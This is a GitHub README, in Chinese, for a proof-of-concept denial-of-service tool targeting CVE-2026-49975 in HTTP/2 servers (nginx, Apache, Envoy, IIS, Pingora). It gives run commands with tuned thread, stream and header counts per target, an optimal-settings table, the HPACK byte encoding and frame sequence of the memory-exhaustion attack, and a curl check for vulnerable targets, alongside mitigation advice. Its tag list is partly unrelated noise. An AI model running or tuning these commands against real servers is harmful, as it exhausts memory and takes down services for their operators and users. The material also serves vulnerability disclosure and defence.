mrx-arafat/CVE-2026-49975-POC
GitHub: mrx-arafat/CVE-2026-49975-POC
针对 CVE-2026-49975 HTTP/2 远程拒绝服务漏洞的概念验证工具,利用 HPACK 索引引用炸弹与流控制窗口停滞的组合,以极低带宽实现数千倍内存放大,快速压垮未修补的目标服务器。
Stars: 17 | Forks: 7
# CVE-2026-49975 — HTTP/2 炸弹 PoC
[](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-49975)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-49975)
[](https://python.org)
CVE-2026-49975 的漏洞概念验证代码,这是 HTTP/2 服务器实现中的一个远程拒绝服务漏洞。由 Quang Luong(Calif Security Research)发现,于 2026 年 6 月 2 日披露。
## 工作原理
该攻击链结合了两种 HTTP/2 协议机制:
**1. HPACK 索引引用炸弹**
HPACK (RFC 7541) 允许发送方通过索引引用先前见过的 header —— 通常只占一个字节。该漏洞利用程序将一个几乎为空的 header 插入动态表一次,然后引用它数千次。每 1 字节的线上传输引用都会强制服务器为每个条目分配约 70 字节的内部开销。由于不涉及大数值,因此“最大解码 header 大小”限制永远不会触发。
**2. HTTP/2 流控制窗口停滞**
通过通告零字节的接收窗口,攻击者阻止了服务器发送响应或释放任何内存。周期性的 1 字节 `WINDOW_UPDATE` 帧会重置服务器的发送超时,只要连接保持打开状态,就能使分配的内存一直被占用。
**结果:** 每个流发送约 16 KB → 每个流分配并保持约 1.15 MB 的服务器内存。
## 受影响的服务器
| 服务器 | 放大倍数 | 演示影响 | 状态 |
|--------|--------------|-------------|--------|
| Envoy 1.37.2 | ~5,700:1 | 约 10 秒内占用 32 GB | 披露时无补丁 |
| Apache httpd 2.4.67 | ~4,000:1 | 约 18 秒内占用 32 GB | 已在 mod_http2 v2.0.41 中修复 |
| nginx < 1.29.8 | ~70:1 | 约 45 秒内占用 32 GB | **已在 nginx 1.29.8 中修复** |
| Microsoft IIS (WS 2025) | ~68:1 | 约 45 秒内占用 64 GB | 披露时无补丁 |
| Cloudflare Pingora | ~68:1 | — | 披露时无补丁 |
## 使用说明
无依赖 —— 仅需标准库。
```
# Basic test(单连接)
python3 exploit-test.py target.com 443
# nginx 特有的 bookkeeping 炸弹(推荐用于 nginx 目标)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374
# Apache/Envoy cookie-crumb 技术
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000
# HTTP/2 明文(罕见 — 大多数服务器要求 h2 使用 TLS)
python3 exploit-test.py target.com 80 --no-ssl
```
### 参数
| 标志 | 默认值 | 描述 |
|------|---------|-------------|
| `target` | — | 主机名或 IP |
| `port` | 443 | TCP 端口 |
| `--threads` | 1 | 并行连接数(每次关闭时重新连接) |
| `--streams` | 10 | 每个连接的 HTTP/2 流数量 |
| `--headers` | 5000 | 每个流的 HPACK 索引引用数量 |
| `--mode` | nginx | `nginx`(开销,70:1)或 `classic`(大数值,4000:1) |
| `--no-ssl` | off | 禁用 TLS (h2c) |
### 内存压力估算
```
total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²
# nginx 示例:50 × 30 × 16374 × 70 / 1024² = ~1,647 MB
```
### 按目标划分的最佳设置
| 目标 | 模式 | `--headers` | 备注 |
|--------|------|-------------|-------|
| nginx < 1.29.8 | `nginx` | `16374` | 保持在默认的 `http2_max_header_size 16k` 以内 |
| Apache httpd | `classic` | `5000` | Cookie 碎片技术 |
| Envoy | `classic` | `32000` | 高放大倍数 |
## 检查目标是否存在漏洞
```
# 确认 HTTP/2 支持及服务器版本
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"
# 满足以下条件即为存在漏洞:
# - ALPN:服务器接受 h2(已启用 HTTP/2)
# - server:nginx/X.Y.Z(其中 X.Y.Z < 1.29.8)
```
## 缓解措施
**nginx** —— 升级至 1.29.8+ 并添加:
```
http2 max_headers 1000;
```
或完全禁用 HTTP/2:
```
# 从 listen 指令中移除 "http2"
listen 443 ssl;
```
**Apache httpd** —— 将 mod_http2 升级至 v2.0.41+。临时方案:`Protocols http/1.1`
**IIS / Envoy / Pingora** —— 截至撰写本文时无可用补丁。请禁用 HTTP/2 或在前面使用已打补丁的代理。
**常规(所有服务器):**
```
# 限制 worker 内存以缩小影响范围
ulimit -v 2097152 # 2 GB per process
# Docker:--memory="2g" --memory-swap="2g"
```
## 技术细节
### HPACK 编码
```
Dynamic table seed (incremental indexing, adds to index 62):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00
Indexed reference to entry 62 (1 byte each):
0x80 | 62 = 0xbe
Wire payload per stream = 9 bytes (seed) + N bytes (N references)
Server allocation per ref ≈ sizeof(ngx_table_elt_t) ≈ 70 bytes
```
### HTTP/2 帧序列
```
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← bomb payload (pseudo-headers + HPACK bomb)
HEADERS [stream 3] ← bomb payload
...
WINDOW_UPDATE(1) per stream / 1s (keep-alive stall)
```
## 文件列表
| 文件 | 描述 |
|------|-------------|
| `exploit-test.py` | 主 PoC —— 多流、持续重连、nginx 及 classic 模式 |
| `SECURITY-REPORT-MIST.md` | 针对 mist.ac.bd 的授权评估报告 |
| `LICENSE` | MIT |
## 参考文献
- [CVE-2026-49975](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-49975)
- RFC 7541 §7.3 — HPACK 内存消耗
- RFC 9113 §8.2.3 — Cookie header 拆分
- [CVE-2016-6581](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6581) — 原始 HPACK 炸弹(Cory Benfield, 2016)
- [CVE-2025-53020](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-53020) — Apache HPACK 4000:1(Gal Bar Nahum, 2025)
标签:0day漏洞, Apache, CVE-2026-49975, DDoS, DoS, Envoy, HPACK炸弹, HTTP/2, IIS, MacOS取证, Maven, Nginx, PoC, Python, Zero-day, 内存耗尽, 内核驱动, 拒绝服务, 放大攻击, 数据展示, 无后门, 暴力破解, 流量控制, 漏洞验证, 红队, 网络协议, 网络安全, 资源耗尽, 隐私保护